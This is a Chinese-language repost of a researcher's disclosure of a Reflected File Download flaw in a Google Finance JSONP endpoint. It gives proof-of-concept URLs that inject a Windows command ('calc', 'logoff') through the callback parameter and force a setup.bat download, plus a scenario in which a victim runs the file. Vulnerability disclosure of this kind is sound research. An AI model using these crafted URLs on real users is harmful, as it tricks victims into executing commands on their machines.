我在审计其他客户端的时候发现了这个漏洞,通过RFD,你无需建立页面来强制下载。这个Google JSON文件的请求已经替我们做到了。
发现漏洞
我发现这个请求:
http://www.google.com/finance/info?q=ELI:ALTR&callback=?
会返回如下的信息:
// [ { "id": "703655" ,"t" : "ALTR" ,"e" : "ELI" ,"l" : "4.71" ,"l_fix" : "4.71" ,"l_cur" : "€4.71" ,"s": "0" ,"ltt":"5:35PM GMT+1" ,"lt" : "Dec 15, 5:35PM GMT+1" ,"lt_dts" : "2015-12-15T17:35:40Z" ,"c" : "+0.31" ,"c_fix" : "0.31" ,"cp" : "7.14" ,"cp_fix" : "7.14" ,"ccol" : "chg" ,"pcls_fix" : "4.396" } ]
然后我就好奇,回调参数能不能伪造呢。所以我就在请求时加入了“calc”:
http://www.google.com/finance/info?q=ELI:ALTR&callback=calc
然后返回的信息如下:
// calc([ { "id": "703655" ,"t" : "ALTR" ,"e" : "ELI" ,"l" : "4.71" ,"l_fix" : "4.71" ,"l_cur" : "€4.71" ,"s": "0" ,"ltt":"5:35PM GMT+1" ,"lt" : "Dec 15, 5:35PM GMT+1" ,"lt_dts" : "2015-12-15T17:35:40Z" ,"c" : "+0.31" ,"c_fix" : "0.31" ,"cp" : "7.14" ,"cp_fix" : "7.14" ,"ccol" : "chg" ,"pcls_fix" : "4.396" } ] );
妥了!我把Windows命令注入到XHR请求中了。我们来看看这个URL可不可行:
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc
然后我就收到了自动弹出批处理文件下载窗口的URL。
我尝试了一下这些浏览器,发现都是可行的:
Firefox最新版本 Opera 最新版本 Internet Explorer 8和9
使用限制
我注意到测试时,大部分的字符都经过过滤,所以你只能用一个命令,不能有空格或者参数。
PoC:
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc
[批处理执行时会打开计算器]
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff
[批处理执行时windows会注销]
攻击场景:
攻击者把URL发给受害者:http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff 受害者下载并执行文件 批处理执行后受害者就会被注销出操作系统
视频演示
Google认为这个问题不大,没有安全影响,但David Sopas 不那么认为 。目前这个RFD漏洞尚未被修复。
* 参考来源: David Sopas ,vulture翻译,文章有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)